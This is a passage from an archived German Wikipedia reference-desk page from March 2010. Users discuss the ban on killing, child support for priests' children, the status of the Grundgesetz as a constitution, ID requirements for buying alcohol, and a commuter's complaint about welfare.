Mittlerweile denke ich, mit dem Tötungsverbot ist es garnicht so weit her. Es wird zwar ein Riesenbohei drum gemacht, aber wirken tut es ja nicht. Zumindest nicht nachhaltig. Auf der anderen Seite ist das ein bißchen so wie rechts fahren im Straßenverkehr. Man wundert sich, daß das so gut klappt und vertraut ständig wildfremden Menschen, die einem entgegenkommen, sein Leben an. Und die meisten finden die Regel gut, halten sich dran, weil es irgendwie sinnvoll ist, fahren rechts und wollen auch sonst keinen umbringen, respektieren die Regel halt so, wie sie auch das Tötungsverbot respektieren... --84.191.51.103 23:57, 23. Mär. 2010 (CET) Ergänzung --84.191.51.103 00:09, 24. Mär. 2010 (CET)
Nachsatz: Außerdem gibt es ja auch den Definitonstrick: Wilde und Ungläubige sind gar keine richtigen Menschen, für die gilt das Tötungsverbot dann also nicht und da dürfen wir... --84.191.51.103 00:09, 24. Mär. 2010 (CET)
Man kann's nicht schöner sagen! Wem es Spass macht - und vielleicht den "gesetzlosen Atheisten" drauf hinweisen - der sollte mal nach Kriminalstatistiken in stark religiös geprägten und in weniger religiös geprägten Gesellschaften suchen. Die Ergebnisse lassen sich auch erklären ... G! GG nil nisi bene 00:05, 24. Mär. 2010 (CET)
Dann aber im "Kampf der Zahlen" auch innerhalb westlicher Gesellschaften die Subgruppen kirchennah und kirchenfern, bspw. anhand des Kirchgangs, vergleichen ... -- Arcimboldo 03:07, 24. Mär. 2010 (CET)

Diese Frage hat sehr wohl einen guten Kern, und zwar -> die Frage; was oder wer bin ich? Ist vielleicht jetzt etwas zu weit gesprungen, aber gerade darum geht es, wenn ich mich mit mir auseinandersetze - ICH; ein Mensch - der Andere auch ?!?! Dann kommt man auch ganz leicht zu einer Floskel; "was du nicht willst das man dir tut - das tu auch keinem anderen an" - Im Prinzip ist es nicht falsch / denn was ist schon "richtig oder falsch" - aber gesund ist es nicht, und Ich persönlich möchte auch nicht von einem anderen getötet werden, und deshalb ist es falsch weil du es auch nicht willst <- Bingo dieses Rubellos können sie käuflich erwerben - in einem Shop Ihres Vertrauens--188.23.64.160 22:05, 24. Mär. 2010 (CET) Siehe auch Persönlichkeitsrecht; deine Rechte welche du hast - oh Gott - die selben Rechte hat auch ein anderer, und deshalb ist die Frage eher nicht durchdacht gewesen, da Wir hier in der Wikipedia versuchen den anderen auch zu achten/bemerken/schätzen - aber ganz sicher nicht töten (wäre ja blöd - wer sollte sonst die ganze Arbeit machen) --188.23.64.160 22:12, 24. Mär. 2010 (CET)

Noch ein Nachtrag (fast hätte ich es vergessen): man schläft auch schlechter und träumt nicht mehr so schön... --84.191.38.226 00:06, 25. Mär. 2010 (CET)
Außer, man hat eine Funktionsstörung in der ventromedialen präfrontalen Region der Großhirnrinde. So eine Störung ist aber sehr selten (es gibt viel weniger eiskalte Profikiller, als uns Hollywood glauben machen will). Eigentlich interessant, dass das Tötungsverbot noch nich fest in der Großhirnrinde verankert ist, die Reue nach der Tötung aber schon. Ugha-ugha 13:42, 25. Mär. 2010 (CET)

Wer zahlt den Unterhalt für uneheliche Kinder von Geistlichen?

Das "Personal", die Geistlichen der Katholischen und Evangelischen Kirche in Deutschland werden zu einem Großteil (> 60%) über die Kirchensteuer finanziert. Ist die logische Schlussfolgerung daraus, dass der Steuerzahler für den Unterhalt von unehelich gezeugten Kindern von Geistlichen aufkommen muss? --84.146.204.142 23:56, 23. Mär. 2010 (CET)

Du meinst jetzt sicher Kinder von katholischen Geistlichen, die anerkannt haben, die Väter zu sein. Das dürften eher wenige sein. Und wenn die die Alimente von ihrem Gehalt bezahlen, ist das doch deren Problem und nicht das des Steuerzahlers, oder?
BerlinerSchule 00:03, 24. Mär. 2010 (CET)
Letztlich schon, klar. Sofern der Geistliche seinen Job behält, kostet das den Steuerzahler - vom Kindergeld mal abgesehen, aber willst Du den Kindern das etwa vorenthalten? - keinen Cent extra. --20% 00:04, 24. Mär. 2010 (CET)
Sicher nicht, ich hab mich das nur gefragt. Hat irgendwie etwas Ruch von Subventionierung krimineller Akte an sich... --84.146.204.142 00:16, 24. Mär. 2010 (CET)
Liebes IP, warum soll denn Kinderzeugen kriminell sein? Übrigens ist es unwesentlich, ob ein Kind "unehelich gezeugt" wird; eventuell wird es unehelich geboren. Dass im Normalfall die Eltern für den Unterhalt eines Kindes aufkommen, ist recht allgemein anerkannt. Der Steuerzahler zahlt also auch für das Kind des Bürgermeister, des Hochschulassistenten und der Sachbearbeiterin vom Bauamt. Er zahlt aber auch fürs Bier des Müllwerkers. Nur bei den Kindern vom Pfarrer und der Pfarrerin ist es etwas anders: Da zahlt nur derjenige Steuerzahler, der Kirchenmitglied ist. BerlinerSchule 00:22, 24. Mär. 2010 (CET)
Pardon, ich habe vergessen zu konkretisieren. Ich bin von einem Missbrauchsfall ausgegangen. --84.146.204.142 00:38, 24. Mär. 2010 (CET)
Kann ja heute schon mal passieren ... Sollte aber nicht. Es gibt keinen Anlass zu vermuten, dass zum Zölibat verpflichtete Geistliche mehr Kinder durch Kindesmissbrauch oder Vergewaltigung zeugen, als andere Männer. Rechtlich macht das eh keinen Unterschied. Und damit auch nicht für die Finanzierung des Lebensunterhalts der gezeugten Kinder. Also kein besonderer Grund, sich als Steuerzahler empört aufzupumpen. Rainer Z ... 00:58, 24. Mär. 2010 (CET)
Oha. Missbrauch von Knaben durch Priester erzeugt uneheliche Kinder? Ich beginne ja, an meinem Protest gegen ein bestimmtes Bild neulich zu zweifeln... ...das wäre ein ganz neue Form der Parthenogese, steht sicherlich in der nächsten Enzyklika... BerlinerSchule 01:03, 24. Mär. 2010 (CET)
Eher weniger, aber der von Frauen. Ich kann mich noch an einen Fall erinnern. Die Frage ist übrigens mehr von theoretischer Natur und hat keine Pauschalisierung im Sinn. Ich merke die Gemüter erhitzen sich bei einem so heiklen Thema sehr schnell... --84.146.191.164 01:07, 24. Mär. 2010 (CET)
Na dazu war die Frage ja auch gedacht. Schließlich kann man sich diese selbst durch kurzes Googeln beantworten. Da Pfarrer nicht ausserhalb des Gesetzes stehen kann man sich die Frage auch ohne Googeln mit 10 Sekunden nachdenken selbst beantworten. --FNORD 10:45, 24. Mär. 2010 (CET)
Ich nehme aber mal an, dass in dem Fall, den die IP meint, kein Unterhalt gezahlt wird. Zunächst einmal werden Kinder, die das Ergebnis einer Vergewaltigung wären, meist rechtzeitig abgetrieben. Und selbst wenn das in dem Fall unterblieben sein sollte, wird doch der Vergewaltiger zu einer langjährigen Gefängnisstrafe verurteilt worden sein (wenn die IP den Fall kennt, kennt die Staatsanwaltschaft ihn erst recht). Das hat unter anderem den Vorteil, dass das Schwein erst einmal seine Tat nicht wiederholen kann, es hat aber - so gesehen - den Nachteil, dass es keinen Unterhalt zahlt, da das Arbeitseinkommen im Gefängnis wohl zu gering ist. BerlinerSchule 13:43, 24. Mär. 2010 (CET)
Wenn ein Katholischer Priester ein Kind gezeugt hat, ist er unterhaltspflichtig wie jeder Vater auch. Wenn er sich weigert das Kind anzuerkennen, muß er sich einem Vaterschaftstest - heute einfacher durch Gentest - unterziehen. Bei seinem Gehalt steht ihm dann für jedes Kind ein Kinderzuschlag zu. Die Katholische Kirche hat dazu einen (offensichtlich) inoffiziellen Geldtitel, der da zum Tragen kommt. Angeblich soll aber nur bis 4 Kinder pro Vater gezahlt werden. Das gibt es nicht öffentlich, aber ist den eingeweihten Kreisen bekannt. Zur Steuer ist zu bemerken, dass der Staat als Ausgleich für die Säkularisation/ Verlust des Vermögens nur die Mitglieder des Domkapitels (in BW) bezahlt. 70 % des Gesamtetats kommen aus der (freiwillen) Kirchensteuer, der Rest aus den anderen Einnahmen. Also mal sachte mit der Annahme, dass der Lohnsteuerzahler für diese Kinder aufkommt. Wie gesagt, die Kirchensteuer ist freiwillig, man kann austreten und das, was der Staat tatsächlich bezahlt, fällt der Allgemeinheit IMHO indirekt auch wieder zurück. Da sollte man großzügig sein und sachlich bleiben, auch wenn man das Ganze ablehnt.--91.56.212.217 15:44, 24. Mär. 2010 (CET)
Von wegen freiwillig etc. ... Schau mal nach dem Thema Besonderes Kirchgeld. Wenn Du als Verehelichter ausgetreten bist, Deine Frau aber der Kirche treu bleiben will, wird sie dafür mit einer Sondersteuer bestraft (vermutlich, weil beim ehelichen Verkehr die geistlichen Segnungen der Kirche auch auf den heidnischen Partner abfärben). D.h. nominell zahlt nur das Kirchenmitglied, aber die Kirche nimmt sich ihre Beute auch vom Einkommen des Nichtmitglieds. --91.36.97.190 10:26, 25. Mär. 2010 (CET)
Ganz unlogisch ist das nicht, wenn auch nicht leicht verständlich, sonst hätte schon einer dagegen beim BGH geklagt. Deine Frau will halt diesen Service haben, wenn Sie auch austritt, dann zahlt ihr auch nichts. Das ist halt Ehegattensplitting, es ist ein gemeinsames Einkommen, auch wenn es nur einer heim bringt. Aber da gibt es noch weitere solche Ungereimtheiten, ein Geschiedener zahlt sofort nach Einstufung in Steuerklasse eins die hohe Kirchensteuer eines Junggesellen, obwohl er massig Unterhalt zahlen muß. Ich bin aber froh, dass das so ist. Ich stelle mir immer vor, wie es ohne Säkularisation wäre und wie wir dann ausgenommen würden.--91.56.213.32 13:13, 25. Mär. 2010 (CET)

Wieso gibt sich das deutsche Volk keine richtige Verfassung?

Im Artikel §146 des GG heißt es, dass das Grundgesetz an dem Tag seine Gültigkeit verliert, an dem eine "Verfassung in Kraft tritt, die von dem deutsche Volke in freier Entscheidung beschlossen wird." Ist es, soviele Jahre nach der Wiedervereinigung, nicht mal soweit? Oder hätte das irgendwelche Konsequenzen (ich hab da noch vage Erinnerungen an Verträge aus dem Zweiten Weltkrieg im Kopf...) --84.146.191.164 00:41, 24. Mär. 2010 (CET)

Siehe Grundgesetz#Geltungsdauer --08-15 00:56, 24. Mär. 2010 (CET)
BK:
Das kann's nicht sein, die BuReDeu hat ihre internationalen Verpflichtungen immer schön eingehalten, Uraltschulden abgezahlt et c. Und eine richtige Verfassung ist das Grundgesetz schon, das nicht zu Unrecht in manchen Gegenden der Welt als Vorbild diente. Aber sicherlich wäre die Vereinigung besser in den Köpfen angekommen, wenn man - notfalls auch zwei drei Jahre später - gesagt hätte Nun tragen wir mal der Tatsache Rechnung, dass Deutschland ein Ganzes geworden ist und auch aller Voraussicht nach nicht weiter wachsen wird und machen eine neue Verfassung (obschon die zu 95% mit der alten übereingestimmt hätte).
Aber hey, jetzt ist das nicht mehr aktuell. Wir brauchen dringend eine richtige Verfassung für die Union und eine Vereinheitlichung aller Vorschriften, die den Bürger betreffen, von Wohnsitzfragen über Schulabschlüsse, von der Kraftfahrzeugsteuer bis zum Unterhaltsrecht. Das ist wichtig. Die alten Nationalstaaten gehören in die Geschichtsbücher (die man aber auch lesen sollte!). BerlinerSchule 00:56, 24. Mär. 2010 (CET)
Warte mal ab. Solche Versuche, unterschiedliche Völker unter ein scheinbar gemeinsames Dach zusammenzuzwängen sind schon oft genug gescheitert. Der Blödsinn wird genauso scheitern, hoffentlich möglichst bald: Je früher, desto unblutiger lässt sich das nämlich wieder auseinanderklabüstern. PS: Am besten noch bevor die unser Brot versauen ;-) --93.129.170.113 02:22, 24. Mär. 2010 (CET)
Ganz unrecht hast Du nicht. Ich wunder' mich auch schon seit Jänner 1871 darüber, dass nun Preußen, Bayern und sogar Sachsen alle unter dem seltsamen Namen "Deutsche" zusammengelegt werden sollen. Dagegen geht (im Vergleich) die (nun aber auch überfällige) Abschaffung der alten Kleinstaaten innerhalb der europäischen Nation schnell und problemlos. Die Grenzen waren ohnehin genauso zufällig und arbiträr wie das ganze Völkergetue und Nationalgerassel. Etwas Abstand braucht man, aber den hat man heute; schon aus zehn oder elf Kilometern Abstand - das schafft jeder Billigflieger - sind beim besten Willen keine Grenzen zu erkennen. Und selbst der Mauerstreifen wächst langsam zu - da war bis vor kurzem eine ebenso unüberwindbare wie ewige Grenze. BerlinerSchule 03:11, 24. Mär. 2010 (CET)
Wie du sicher weißt, war es unter anderem die gemeinsame Sprache, die die Deutschen verbunden hatte. Und die deutsche Vereinigung war auch keine, die wie die europäische so völlig auf bürokratischer Ebene am Interesse der Menschen komplett vorbeilief. Die ehemaligen nationalen Staatsgrenzen sollte man lieber sauber und gemeinsam dokumentieren, dann braucht man diese mit etwas Glück vielleicht nicht an allen Sprachgrenzen neu auszufechten, wenn die ersten "Unabhängigkeitserklärungen" erfolgen und diese künstliche Veranstaltung "EU" auseinanderfällt. Ein unnatürliches Konstrukt, um das sich heute die meisten "EU-Bürger" noch bestenfalls überhaupt nicht scheren - sofern sie es nicht heute schon verachten. --93.129.67.230 04:33, 24. Mär. 2010 (CET)
Hältst Du denn die Schweiz mit ihren Sprachgrenzen auch für ein unnatürliches Konstrukt? --Zinnmann d 08:32, 24. Mär. 2010 (CET)
Ist zwar hier offtopic, aber trotzdem: dass ich im größten Teil Europas frei herumreisen kann, ohne von irgendwelchen blöden Grenzern kontrolliert zu werden, mit demselben Geld bezahlen kann, ohne Umtauschgebühren abdrücken zu müssen, ein verbrieftes Recht auf Niederlassung und Berufsausübung habe und vor allem nicht mehr mit der realistischen Möglichkeit eines Krieges in Mitteleuropa rechnen muss -- das alles geht durchaus nicht an meinen Interessen vorbei, ganz im Gegenteil. Dafür nehme ich gern ein bisschen bürokratischen Wahnsinn in Kauf (den unsere nationalen Behörden übrigens in gleicher Qualität zu fabrizieren wissen). --Jossi 10:50, 24. Mär. 2010 (CET)
(BK) Seit 1990 gibt es eine "richtige Verfassung" namens "Grundgesetz". Siehe Grundgesetz für die Bundesrepublik Deutschland#Geltungsdauer: "Es ist nur scheinbar ein Widerspruch, dass diese gesamtdeutsche Verfassung weiterhin die Bezeichnung „Grundgesetz“ trägt. Das Grundgesetz erfüllt nicht nur alle Funktionen einer Verfassung und hat sich bereits im Laufe der Geschichte der Bundesrepublik als solche gefestigt, sondern wird auch den Legitimitätsanforderungen an eine Verfassung gerecht." Joyborg 01:04, 24. Mär. 2010 (CET)
Meines Wissens ist eine Verfassung erst dann eine Verfassung, wenn sie vom Volk (selbst oder von einer vom Volk gewählten Versammlung) legitimiert ist. So eine Abstimmung steht noch aus, oder irre ich mich? --84.146.191.164 01:15, 24. Mär. 2010 (CET)
Was spricht dagegen, den Bundestag als vom Volk gewählte Versammlung zu betrachten? --20% 01:25, 24. Mär. 2010 (CET)
Wer bezweifelt das? Du hast scheinbar nicht begriffen, um was es geht oder nur einen Teil der Diskussion gelesen. Ich rede über eine Abstimmung über das Grundgesetz durch das Volk oder seine Repräsentanten. --84.146.191.164 01:28, 24. Mär. 2010 (CET)
Rate mal, wer über Grundgesetzänderungen abstimmt. --20% 01:30, 24. Mär. 2010 (CET)
Was soll ich sagen? Touché? Wie gesagt, ich rede davon dass - meines Wissens - eine Annahme des GG durch das Volk (Volksabstimmung) oder seine Repräsentanten (Bundestagsabstimmung) bis dato nicht stattgefunden hat. Der Beitrag von BerlinerSchule war bis jetzt der nützlichste bzw. interessanteste. --84.146.191.164 01:34, 24. Mär. 2010 (CET)

Berliner Schule (und andere) haben doch schon geantwortet. Wir habe eine Verfassung und diese Verfassung heißt Grundgesetz. Natürlich kann das Volk jederzeit beschließen, sich eine neue Verfassung zu geben, aber warum sollte es? Das Grundgesetz funktioniert doch. Und daher würde es sicherlich bei einer Abstimmung einfach "wiedergewählt". Was willst du denn noch? --88.70.92.163 02:03, 24. Mär. 2010 (CET)

Das Grundgesetz ist seinerzeit von den Länderparlamenten, also den gewählten Repräsentanten des Volkes, ratifiziert worden. Der Bundestag konnte darüber schon deshalb nicht abstimmen, weil er durch das Grundgesetz erst geschaffen wurde, und eine Volksabstimmmung war nicht möglich, weil es gar keine gesamtstaatliche Autorität gab, die diese hätte anordnen können -- der Staat "Bundesrepublik Deutschland" wurde nämlich ebenfalls erst durch das Grundgesetz geschaffen. Wenn ich mir im Übrigen so anschaue, dass seitdem die meisten Grundgesetzänderungen eher Verschlechterungen waren und jede Menge bürgerfeindliche Gesetze vom BVerfGer nur auf der Grundlage des Grundrechtskatalogs von 1949 zurückgepfiffen werden konnten, glaube ich nicht, dass wir heute eine bessere Verfassung kriegen würden. --Jossi 10:56, 24. Mär. 2010 (CET)

Das es nach der Wiedervereinigung keine Verfassung und Volksabstimmung gab liegt daran dass es sich rechtlich um einen Anschluss nach Artikel 23 handelte und nicht um eine Widervereinigung nach Artikel 146. Genau so eine Verfassung und Volksabstimmung wollte man damals wohl verhindern. So ähnlich hat es zumindest mal Wolfgang Schäuble in einem Interview erklärt. --Ixitixel 11:21, 24. Mär. 2010 (CET)

War jetzt „Widervereinigung“ ein Tippfehler, ein Freudscher oder augenzwinkernde Absicht? ;-) --Geri 12:36, 24. Mär. 2010 (CET)
Es hat Anfang der 1990er Jahre AFAIR sogar eine "Verfassungskomission" (soweit ich mich erinnere unter dem Vorsitz von Rupert Scholz) gegeben, die die Aufgabe hatte, den Entwurf für eine neue Verfassung i.S. von §146 auszuarbeiten. Die hatten gute Ideen (u.a. auch plebiszitäte Elemente), ist aber im Sande verlaufen (bzw. wurde wohl von Kohl quasi auf Abstellgleis verschoben). --HyDi Sag's mir! 14:04, 24. Mär. 2010 (CET)
Ein Tipp0, aber ein lustiger geb ich zu. --Ixitixel 13:37, 24. Mär. 2010 (CET)

@Fragesteller: Nein, eine Verfassung muss nicht vom Volk abgesegnet werden. Würde sie das, hätte man eine direkt demokratisch legitimierte Verfassung. Wurde sie wie das Grundgesetz durch Repräsentanten des Volkes verabschiedet, hat man eine indirekt demokratisch legitimierte Verfassung. Selbst wenn die Verfassung nur von einer oder wenigen Personen in Kraft gesetzt wurde, ist es eine Verfassung, die Geltung beansprucht, siehe zB. die Verfassung der Vatikanstadt. Es ist ein Irrglaube, dass eine Verfassung nur besteht, wenn sie vom Volk "gutgeheißen" wurde, im Sinne der Demokratie allerdings ein guter, wie ich finde. :) --78.54.34.83 18:01, 24. Mär. 2010 (CET)

Das Grundgesetz IST unsere Verfassung, nur das sie nicht so heißt. Zu Zeiten der Verabschiedung des Grundgesetzes war Deutschland geteilt (in Wset-, Ost- und diverse polnische und sowjetische Mandatsgebiete). Damals hat man absichtlich vermieden, die deutsche (westdeutsche) Verfassung auch so zu nennen, da (West-)Deutschland ja den Alleinvertretungsanspruch für Gesamtdeutschland erhob. Auch nach der Wiedervereinigung hat sich daran nicht viel geändert (die Wiedervereinigung war ja weder eine Wiedervereinigung, noch eine Vereinigung, sondern eher ein Beitritt der DDR zur BRD). Gut 1/4 des ehemaligen Gesamtdeutschlands "fehlen" ja immer noch (grob gesagt: Ostpreußen, Pommern und Schlesien), darauf hat das "neue" Deutschland nämlich bei der "Wiedervereinigung" verzichtet. Muß nun also ein riesiger Prozeß (Verabschiedung durch das Volk) angestrengt werden, nur um eine Namensänderung durchzuführen? Wie gesagt, wir haben eine richtige Verfassung, nur heißt sie anders. --Ch.Weg 00:35, 25. Mär. 2010 (CET)

Wieso gibt sich das deutsche Volk keine richtige Verfassung? - tja , Guute Frage, gibt es überhaupt ein deutsches Volk, oder einer Verfassung welche man als Verfassung der gesunden Spezies teilhaftig sein kann seit Stailingrad, NEIN<-Kursiver Text;-) kommt ganz darauf an in welcher Verfassung sich die Deutschen befinden Aber das wird schon - Keine Panik--188.23.186.0 23:49, 25. Mär. 2010 (CET)

Alkohol ab 18, wie sich ausweisen?

Was wenn man den Personalausweis nicht hat? Egal welcher Grund. Das Gesetz sagt meiner Meinung, "Alkohol ab 18 Jahren" und bezieht sich nicht direkt auf den Ausweis. Geht der Führerschein als Alternative nicht? (Das war die Erfahrung.) Geht es wirklich nur um Kulanz? Entweder der Inhaber/Verkäufer ist gut oder schlecht drauf? Verpflichtet ist ein Laden eh nie, etwas zu verkaufen oder? Also kann Rewe/Edeka/Lidl mir auch, nach Laune, sagen, "nein an dich verkaufen wir nicht"? Grüße --WissensDürster 15:16, 24. Mär. 2010 (CET)

Meines Wissens nach: ja. Niemand muss an dich verkaufen wenn er nicht will. Und ob sie einen Personalausweis, einen Führerschein, einen handgeschriebenen Zettel oder erst gar nichts annehmen ist ganz alleine deren Entscheidung. -- Dulciamus ??@??+/- 15:42, 24. Mär. 2010 (CET)
Und wie üblich ist eine Begründung ala "Führerschein akzeptieren wir nicht - ist eher zu fälschen/fälschungsanfälliger" ?! Eigentlich können grad größere Supermarkt-ketten sich sowas nicht leisten oder? Da erlebt man eher immer, dass auch ohne ganz zu fragen an Minderjährige verkauft wird ... hm --WissensDürster 15:49, 24. Mär. 2010 (CET)
Wie belieben? Wenn der Verkäufer zweifel an Deiner Volljährigkeit hat und Du ihn nicht irgendwie davon überzeugen kannst, gibts ne Alkoholdurststrecke. Wenn Dir das häufiger passiert und Du männlichen Geschlechts bist ... tja ... , wenn Du weiblichen Geschlechts bist, kannst Du dich geschmeichelt fühlen. Und das nächste mal eben etwas mitführen, das Dein Alter ausweisst. Was wolltest Du jetzt eigentlich wissen? --Dansker 15:50, 24. Mär. 2010 (CET)
Ich habe mal vor langer langer Zeit den Verkauf eines nicht Jugendfreies Filmes an eine erwachsene Frau verweigert. Hintergrund war, der grenzwertig minderjährige Sohn bestellte den Hardcore-Animefilm in meinem Laden, bei der Bestellung aus dem Katalog war allerdings nur der Titel angegeben bzw. es war nicht auf dem ersten Blick ersichtlich, dass der Film unter das Jugendverbot fiel. Als der Jüngling dann 1 Woche später den Film holen wollte, prangte natürlich dick und fett das "Indiziert"-Zeichen auf der Hülle. Ich wollte natürlch sofort den Ausweis sehen, worauf er antwortete, er sei noch keine 18. Daraufhin erklärte ich ihm, ich könne den Film nicht an ihn verkaufen. Was macht der Kerl? Holt seine Mutter, und die wollte ihn kaufen. "Wollen sie etwa meinen Ausweis sehen?" Nein, meinte ich, aber ich werde ihnen diesen Film auch nicht aushändigen, weil sie ihn ihren Sohn weitergeben würden. Brachte zwar Minuspunkte bei meiner Chefin ein, aber hätte der junge Mann den Film in die Schule mitgenommen und sich erwischen lassen, was hätte er wohl gesagt? Ob er den Film von seiner Mutter oder von mir bzw. meinem Arbeitgeber erhalten hätte? Von daher verstehe ich Verkäufer, die sich sträuben, auch einen offensichtlich Volljährigen etwas zu verkaufen, wenn er keinen Ausweis hat. Denn nur dadurch kannst Du halbwegs sicher sein, nicht vor dem Kadi zu landen. --Vexillum 16:04, 24. Mär. 2010 (CET)
Also ich weiß nicht, ob es in Deutschland auch so ist, aber zumindestens in österreich ist es nicht verbioten,d ass sich ein Jugendlicher einen Film anschaut, der erst ab 18 ist (außer im Kino). Er darf ihn nur nicht kaufen, aber wenn er sich den Film zusammen mit seiner Mutter anschaut oder überlässt, ist das lauft unserer gesetzgebung Privatsache und nicht verboten. Abgesehen davonb denke ich, dass es die Minuspunkte von der Chefin zurech gab, weil dei Mutter wird den Film dann halt in ienem anderen Laden besorgt ahben ohne zu sagen, dass er für ihren Nminderjährigen Nachwuchs ist. Also außer Geschäftsschädigung für die Firma hats wohl nix gebracht. --MrBurns 22:35, 24. Mär. 2010 (CET)
Das finde ich sehr lobenswert, ein wenig idealistisch. Es geht aber um definitiv Volljährige, in dem Fall jemanden der noch keinen deutschen Ausweis hat, aber einen deutschen Führerschein. Die Konstellation fand ich schon komisch. Also halten wir fest, die Gesetzesgrundlage fängt an bei "Niemand 'muss' jemandem etwas verkaufen/Der Verkäufer sucht sich die Käufer aus" und der Rest ist dann nur noch Zufall oder Pflichtbewusstsein oder stereotypisch. --WissensDürster 16:13, 24. Mär. 2010 (CET)
Warum sollte es ein deutscher Pass sein müssen? Auf einem andersstaatlichen Pass steht ja auch das Geburtsdatum drauf. --Sr. F 16:39, 24. Mär. 2010 (CET)
Führerschein reicht Tatsachenbericht: In den USA zu einer Zeit als alles noch besser war. Eine Gruppe von Akademikern bestellt sich in einer Bar einen Pitcher Beer. Madame (die älteste in der Runde, sehr frisch nordisch aussehend) will bezahlen. Die Bedienung (ca. zw. 18 und 22) verlangt den Führerschein als Altersnachweis. Alle grinsen und Madame nestelt ihn heraus. Alter: 31. Reaktion der Bedienung:" Ooooh - MY - Gooood !" Viel Spass gehabt, an dem Abend ...;-) G! GG nil nisi bene 16:50, 24. Mär. 2010 (CET) G! GG nil nisi bene 16:50, 24. Mär. 2010 (CET)
In den USA gibt es sowas wie unseren Personalausweis auch nicht. Die haben nur ihren Führerschein zum Ausweisen ... ;) --78.54.34.83 17:24, 24. Mär. 2010 (CET)
Das möchte ich einmal ganz stark bezweifeln. Ich kenne da etwas im Scheckkartenformat, das sie landläufig schlicht ID nennen.
PS: „Individuals who do not drive are able to obtain an identification card with the same functionality from the same state agency that issues driver's licenses.“ gibt mir da offensichtlich recht. --Geri 01:42, 25. Mär. 2010 (CET)
Das Stichwort ist state. Der Ausweis wird - wie der Führerschein - von einer Behörde des jeweiligen Bundesstaats ausgestellt und ist ein amtliches Dokument dieses Bundesstaates, und keines der Vereinigten Staaten insgesamt. Also quasi ein Landespersonalausweis und kein Bundespersonalausweis. Auf letzteren sind die Amis aufgrund Ihrer Verfassung nicht gut zu sprechen. ;-) --78.43.60.58 00:55, 26. Mär. 2010 (CET)
Es ging ja wohl mehr darum, dass es in den USA auch kein Wunder ist, dass der Führerschein reicht, weil sie mehr oder weniger nichts anderes haben. In sofern hat die IP vollkommen recht. Das von dir angesprochene ist ja quasi ein Führerschein, mit dem man nicht fahren darf. Ansonsten gibt es so etwas wie eine ID in den Staaten nicht.--Don-golione 14:19, 25. Mär. 2010 (CET)
Ich verstehe nicht, wieso die einen Führerschein ablehnen sollten. Es handelt sich doch beim Führerschein um ein vom Staat ausgestelltes Personaldokument. Er wird in der Bundesdruckerei hergestellt, wie auch die Geldscheine und der Personalausweis, und enthält neben einem Passbild, Angaben zum Geburtsjahr und -ort. Da hat er es schwarz auf weiß. Selbst was die Praxis angeht, hab ich noch nie erlebt, dass einem ein FS nicht Altersnachweis genug war. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 19:37, 24. Mär. 2010 (CET)
Ich bin kein Experte und hab keine Belege, aber ich mein Bauchgefühl würde schon sagen, dass ein Führerschein einfacher zu fälschen ist?! Das driftet zwar von der ursprünglichen Frage ab. Aber wer will, kann sich darüber gern kurz auslassen. =) --WissensDürster 20:04, 24. Mär. 2010 (CET)
Glaub ich nicht. Der FS hat ja auch diesen ganzen sicherheitstechnischen Firlefanz :) Hologramm, "Silberstreifen", Einfräsungen, eingearbeitete Unterschrift usw. --KᴀᴛᴇʀBᴇɢᴇᴍᴏᴛ 20:23, 24. Mär. 2010 (CET)
Ja, sagt mal, geht es um einen deutschen Personalausweis? Den hat man doch mit 16, spätestens. Und wenn man weiß (oder gerne hätte), dass man - obschon gerade 37 geworden - noch nicht ganz volljährig aussieht, dann muss man den zum Schnapskaufen eben mitnehmen - wo ist das Problem? BerlinerSchule 21:53, 24. Mär. 2010 (CET)
@ BS, es ging um noch nicht eingebürgten Einwanderer, siehe irgendwo oben. Ich sehe die Frage dann als beantwortet. Danke an alle. --WissensDürster 09:11, 25. Mär. 2010 (CET)
Muss ich übersehen haben. Aber dann hat er doch einen Pass des Herkunftslandes, oder? Und auch der enthält sicherlich das Geburtsdatum. BerlinerSchule 14:03, 25. Mär. 2010 (CET)
So geht das zur Not. --Dansker 22:24, 24. Mär. 2010 (CET)

Falls noch nicht erwähnt: im Rahmen der sogenannten „Privatautonomie“ bzw. konkreter „Vertragsfreiheit“ kann sich der Einzelne u.a. grundsätzlich aussuchen mit wem ein (Kauf-)Vertrag abgeschlossen wird. -- Hukukçu Disk. 16:31, 25. Mär. 2010 (CET)

Wer möchte Tauschen ?!

Hallo erst mal ! Ich bin 47 Jahre alt,seit 28 Jahren verheiratet und seit 10 Jahren Pendler . Meine Frau und meine nun schon 16 Jahre alte Tochter sehe ich aller zwei Wochen für zwei Tage ,und das seit zehn Jahren ! Da ich in Hamburg für ein Sächsisches Sub-Unternehmen arbeite,werde ich nach OSTTARIEF bezahlt!Verschleiß,Reifen,Durchsichten,steigende Benzien kossten und Wertverfall laßten auf meinen Schultern ! Ich muss auch noch etwas essen,bzw. mich verpflegen ! Da bleiben gerade mal auf drei Jahre umgerechnet...etwa 650 Euro pro Monat für Für Miete,Versicherungen,und Nebenkosten was ich auf dem Konto belassen kann ! Meine Frau verdient zwischen ende Feb.-Okt.als befristete Angestellte um die 700 Euro dazu .Doch nun zum Kern der Sache !!!! In unserem Aufgang wohnen 8 Mieter.Einer davon bekommt seine Miete vom Amt.Damit ist das Amt der Mieter,und für aufgaben die sich aus dem Mietvertrag,bzw.aus der Satzung ergeben obliegen dem Mieter !Das Amt zahlt zusätzlich zur Miete, die kosten für Hausordnung,Schneeräumung,Treppenreinigung durch die AWG !!! Der Kerl ist einfach schlau ! Kann mir mal einer sagen warum ich so Doof bin ,und noch arbeiten gehe !?!?? Denk ich an Deutschland in der Nacht,dan binn ich um den Schlaf gebracht !!!! --Harryhirschl 21:03, 24. Mär. 2010 (CET)

Warum erzählst du uns wieviel du für Meite udn co übrig hast, die sind uninteressant. Erzähl uns lieber wieviel du für Essen, Kultur (fällt schonmal flach, wenn das Amt zahlt, einfach zu teuer), Kleidung, etc hast, dass sind die Werte die man mit Vergleichen muss was das Amt zahlt. Bedenke, es gibt Politiker, die dir nur allzu gerne vorrechenen, dass 1,50€ pro Tag für Nahrung ausreichend sind.
Aber dein Chef findet bestimmt einen Grund dich zu feuern wenn du ihn lieb fragst, da kannste dann schauen wie luxuriös und sorgenfrei es sich lebt, wenn das Amt (erst das eine, dann das andere) zahlt. --88.130.185.126 21:20, 24. Mär. 2010 (CET)
